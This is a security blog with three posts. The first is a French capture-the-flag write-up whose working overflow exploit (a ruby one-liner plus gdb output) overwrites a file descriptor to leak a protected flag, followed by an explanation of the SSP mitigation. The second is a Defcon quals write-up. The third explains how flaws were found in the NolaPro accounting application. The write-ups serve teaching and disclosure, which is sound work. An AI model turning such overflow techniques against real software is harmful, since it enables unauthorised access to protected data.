lundi 8 novembre 2010

Solution ExecUS #4 du Hackfest 2010

Ce weekend se tenait le Hackfest 2010 à Québec et le samedi soir son traditionnel concours de sécurité. Notre équipe a terminé en 2e place, félicitations à nos bons amis d'Amish Security qui l'ont emporté haut la main.

NOTE: j'utilise ici une version recompilée du binaire, les adresses qui apparaissent dans cette solution ne sont probablement pas les mêmes que celles du binaire original. Si vous voulez l'essayer sur un Linux récent, assurez vous de désactiver le mode SSP :

gcc -fno-stack-protector -o execus4 execus4.c 

Cet article présente la solution de l'épreuve ExecUS #4, dont voici le code :



 Le programme ouvre le fichier flag.txt (j'ai changé le nom mais le principe reste le même) contenant le flag et le copie dans /dev/null. Le fichier flag.txt  n'est pas accessible directement, mais le binaire est configuré avec le bit SGID et le groupe y a accès en lecture.

À la ligne 27, on observe un cas de buffer overflow très standard puisque la taille de argv[1] ne fait l'objet d'aucune vérification au préalable.

strcpy(buf, argv[1]);

En observant l'ordre de déclaration des variables, il est probable que la variable ofd puisse être écrasée, ce que nous pouvons vérifier désassemblant le code :

 804856a:    e8 41 fe ff ff           call   80483b0 <open@plt>
 804856f:    89 84 24 28 01 00 00     mov    %eax,0x128(%esp)
 8048576:    c7 44 24 04 01 00 00     movl   $0x1,0x4(%esp)
 804857d:    00
 804857e:    8d 44 24 1a              lea    0x1a(%esp),%eax
 8048582:    89 04 24                 mov    %eax,(%esp)
 8048585:    e8 26 fe ff ff           call   80483b0 <open@plt>
 804858a:    89 84 24 24 01 00 00     mov    %eax,0x124(%esp)
 8048591:    8b 45 0c                 mov    0xc(%ebp),%eax
 8048594:    83 c0 04                 add    $0x4,%eax
 8048597:    8b 00                    mov    (%eax),%eax
 8048599:    89 44 24 04              mov    %eax,0x4(%esp)
 804859d:    8d 44 24 24              lea    0x24(%esp),%eax
 80485a1:    89 04 24                 mov    %eax,(%esp)
 80485a4:    e8 57 fe ff ff           call   8048400 <strcpy@plt>

Comme on peut le voir, le résultat du 2e appel à open qui ouvre /dev/null en écriture est écrit à ESP+0x124 (ofd) et l'adresse à laquelle strcpy écrit (buf) est ESP+0x24. La variable ofd est donc situé 0x100 octets après buf, Convertit en décimal l'espace est de 256 octets, ce qui correspond à la longueur de buf.

On peut donc écraser ofd, mais en quoi celà peut nous être est utile ? Pour le comprendre, il faut se référer au fonctionnement d'UNIX. La variable ofd contient ce qu'on appelle un descripteur de fichier qui est un index dans la table des fichiers ouverts par le processus. Pour tous les processus, le système d'exploitation crée les descripteurs spéciaux suivants :

Entrée standard (stdin)  : 0
Sortie standard (stdout) : 1
Sortie d'erreur (stderr) : 2

La solution est maintenant évidente, il suffit d'écraser ofd avec la valeur 1 pour que la clef soit écrite sur la sortie standard et apparaisse à l'écran. Nous allons construire une chaine constituée de 256 caractères pour remplir buf et de la valeur 1 pour écraser ofd.  On peut passer cette valeur en paramètre à GDB en utilisant la commande suivante :

run $(ruby -e 'print "A" * 256 + "\x01"')

On peut vérifier le bon fonctionnement de notre exploit à l'aide de GDB. On commence par mettre un breakpoint juste avant l'appel à strcpy pour examiner la valeur de ofd.

(gdb) b *0x080485a4
Punto de interrupción 1 at 0x804858a: file execus4.c, line 25.
(gdb) run $(ruby -e 'print "A" * 256 + "\x01"')
Starting program: /home/ekse/code/execus4 $(ruby -e 'print "A" * 256 + "\x01"')
Dev null is an awesome 100% compression ratio, secure, backup device.

Breakpoint 1, 0x080485a4 in main (argc=2, argv=0xbffff3b4)
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000006

La valeur de ofd est actuellement 0x06. Le listing suivant montre que la valeur est bien écrasée par notre overflow.

(gdb) nexti
(gdb) x/65x $esp+0x24
0xbffff1f4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff204:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff214:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff224:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff234:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff244:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff254:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff264:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff274:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff284:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff294:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2a4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2b4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2c4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2d4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2e4:    0x41414141    0x41414141    0x41414141    0x41414141
0xbffff2f4:    0x00000001
(gdb) x/x $esp+0x124
0xbffff2f4:    0x00000001

Maintenant que nous savons que notre exploit est fonctionnel, il suffit de lancer le binaire directement pour obtenir le flag (je n'ai malheureusement pas sauvegardé le flag original) .

ekse@eclipse:~/code$ ./execus4 $(ruby -e 'print "A" * 256 + "\x01"')
Dev null is an awesome 100% compression ratio, secure, backup device.
ALLGLORYTOTHEHYPNOTOAD


Un mot sur SSP

Le binaire utilisé lors de la compétition n'était pas compilé avec les mécanismes de sécurité tel que SSP pour facilité la solution. L'utilisation de SSP permet de bloquer cette avenue d'exploitation. Ce n'est pas toutefois pas par l'utilisation du canari (qui faisait d'ailleurs l'objet d'une très bonne présentation par Paul Rascagneres au Hackfest) puisque nous ne cherchons pas à écraser l'adresse de retour. 

La mitigation vient plutôt du fait que SSP réorganise les variables sur la stack pour placer les tableaux après les variables de taille fixe. Le listing suivant montre le même code présenté plus haut mais lorsque le mode SSP est activé :

 80485f5:    e8 fa fd ff ff           call   80483f4 <open@plt>
 80485fa:    89 44 24 30              mov    %eax,0x30(%esp)
 80485fe:    c7 44 24 04 01 00 00     movl   $0x1,0x4(%esp)
 8048605:    00
 8048606:    8d 84 24 39 01 00 00     lea    0x139(%esp),%eax
 804860d:    89 04 24                 mov    %eax,(%esp)
 8048610:    e8 df fd ff ff           call   80483f4 <open@plt>
 8048615:    89 44 24 34              mov    %eax,0x34(%esp)
 8048619:    8b 44 24 1c              mov    0x1c(%esp),%eax
 804861d:    83 c0 04                 add    $0x4,%eax
 8048620:    8b 00                    mov    (%eax),%eax
 8048622:    89 44 24 04              mov    %eax,0x4(%esp)
 8048626:    8d 44 24 39              lea    0x39(%esp),%eax
 804862a:    89 04 24                 mov    %eax,(%esp)
 804862d:    e8 12 fe ff ff           call   8048444 <strcpy@plt>
 

Comme on peut le voir, la variable ofd se trouve à ESP+0x34 et buf commence à ESP+0x39. On ne peut donc plus écraser ofd.

mardi 25 mai 2010

Defcon Quals - Binary 200 writeup

This is a writeup on how to solve Binary 200 from the Defcon quals that were held this weekend.

In Binary 200, you were provided with an ELF binary. The first step is to determine what OS this binary was supposed to run on. A cursory look with an hex editor let you know that the binary is for Haiku OS, the open-source decedent of the now defunct BeOS.

We thus proceeded to download a VMware image from the official website and transferred the binary on it. The hardest part of the challenge was to figure out how to get a damn terminal on Haiku (click on the feather at the top to get the application menu). We then launched the binary and ... it crashed. Hopefully, Haiku came with gdb and it even offered a menu to debug the crashed application.


As can be seen on the image, the executable crashes in the pre_init() function while doing some pre-execution stuff. We could try and figure out what the problem is but we don't really care, we just want to program to run. Disassembling it with objdump, we see a symbol _start() which looks like our program entry point. In gdb, we jump to it using the command jump _start (yeah, that simple).


We then get an url taking us to a very weird video involving donkeys and people from Columbia (and definitely NSFW) that will leave you somewhat.. speechless. The key was "Asses of the Caribbean".

samedi 1 mai 2010

Additional details on NolaPro vulnerabilities (CORELAN-10-035)

I released an advisory today concerning some web vulnerabilities in NolaPro, a free accounting application based on PHP/MySQL. In this blog post, I'll provide some insights on how I found the flaws. Those are fairly simple bugs so don't expect anything really ground-breaking; if you're a web application security specialist, you can safely spare yourself this reading. Otherwise, keep on reading :-)

Phase 1 : Target identification

The first step to assess an application is to install it in a testing environment and understand the way it works. NolaPro comes with an installer that bundles its own LAMP stack which makes it really simple to deploy. NolaPro also uses ionCube, a PHP code obfuscator. The php files look like this :


A source code review is not possible without first reversing the code or performing an analysis on the PHP bytecode. For this assessment, I preferred to use scanning since it would probably be easier and faster.


Phase 2 : Verification of Authentication

To access information in NolaPro, you first need to provide a valid user name and password. If you try to access a page directly without being logged in, you will be redirected to the login page. A common problem is that developers forget to verify the credentials on some pages of the web application : This is risk #8 (Failure to Restrict URL Access) of the OWASP Top 10. In PHP, this is most of the time done by including a PHP script that does this verification at the beginning of each php file. Using grep, files that don't perform the include can be easily spotted and reviewed manually. However in our case, this approach is not possible. We will thus need to request every page and see if it returns the login page or not.

Slight problem, NolaPro consists of about 860 files, so browsing each manually would be really long (and boring). I automated this approach by writing a little ruby script that given a list of filenames, requests each of them and prints the size of the returned page. My first approach was to perform the MD5 sum of each page but some code is changing on the login page every time you consult it, so the sums were all different.



When executing the script, we obtain an output similar to this :
Page: accounts.php
 Code: Net::HTTPOK Length: 2
Page: action_addupdate.php
 Code: Net::HTTPOK Length: 6853
Page: adminachdownload.php
 Code: Net::HTTPOK Length: 6846
Page: adminapccvendoradd.php
 Code: Net::HTTPOK Length: 6855
Page: adminapccvendorupd.php
 Code: Net::HTTPOK Length: 6855
Page: adminapchkacctadd.php
 Code: Net::HTTPOK Length: 6860
Page: adminapchkacctupd.php
 Code: Net::HTTPOK Length: 6858
Page: adminapglacct.php
 Code: Net::HTTPOK Length: 6850
Page: adminapgroupsadd.php
 Code: Net::HTTPOK Length: 6853
Page: adminapgroupsupd.php
 Code: Net::HTTPOK Length: 6853
Page: adminapilog.php
 Code: Net::HTTPOK Length: 6848
Page: adminapilogdata.php
 Code: Net::HTTPOK Length: 33
Page: adminappaytermsadd.php
 Code: Net::HTTPOK Length: 6859
Page: adminappaytermsupd.php
 Code: Net::HTTPOK Length: 6859

As we can see, most pages return a length around 6850 bytes. However, in this output, we see 2 clear outliers : accounts.php with a length of 2 and adminapilogdata.php. I then manually reviewed each of those pages (about 15) and found an interesting one : checkfile.php. This script takes a php script name and returns some information about the variables. However, we can use it to verify if some files exist on the system. For example, this is the output obtained when we input C:\boot.ini.


In comparison, passing an invalid path will result in the following output :


The warning is due to the fact that I enabled them on my system to make scanning more effective and wouldn't normally appear. However, we see that the script writes No pude! when the file does not exist. While we can't read the content of files, this could be used by an attacker to precisely identify the environment he is attacking.


Phase 3 : Some more scanning


Our first tests revealed that the application has some problems, so there are good chances it contains common flaws like cross-site scripting, command execution or injection. Enter w3af. w3af is an open-source web application scanning tool that provides modules for a lot of tests, of which a full list is available here : http://w3af.sourceforge.net/plugin-descriptions.php. w3af is designed to be easy to use and while it has some stability issues it is quite effective.


However, if we simply point w3af to our Nolapro installation and launch it, the scan finishes in a few seconds. The reason is simple : since w3af is not logged-in, it can't access any pages other than the login form. To perform the scan, we will enable the SpiderMan module. SpiderMan is a proxy which will log our requests to the server. See http://securityaudit.blogspot.com/2009/09/using-w3af-for-testing-web-application.html for a detailled explanation on how to use it. Basically, we will configure our browser to use the proxy and log in the application and navigate the pages. w3af will intercept the cookie provided by the web application and use it for its tests.

w3af found 3 XSS flaws, 1 command execution and 1 potential SQL injection. Manual review revealed the XSS and SQL flaws were indeed present (the command execution seems to be a false positive).

 
Conclusion


With this assessment, we saw that completely automated scans are bound to miss interesting flaws; however, we can use automated tests to do a lot of repetitive and simple tasks and perform verification of common flaws with minimal manual testing. In the context of a complete assessment, manual testing time would be better spent in the verification of logic flaws that are difficultly automated but nonetheless very important to check for. Using the proverbial formula, this is left as an exercise to the reader, at least until a next blog post :-)

I want to end by thanking Noguska for their great response and providing a patched version in a couple of days. Thanks also to Corelan Team for being such a great group to be part of.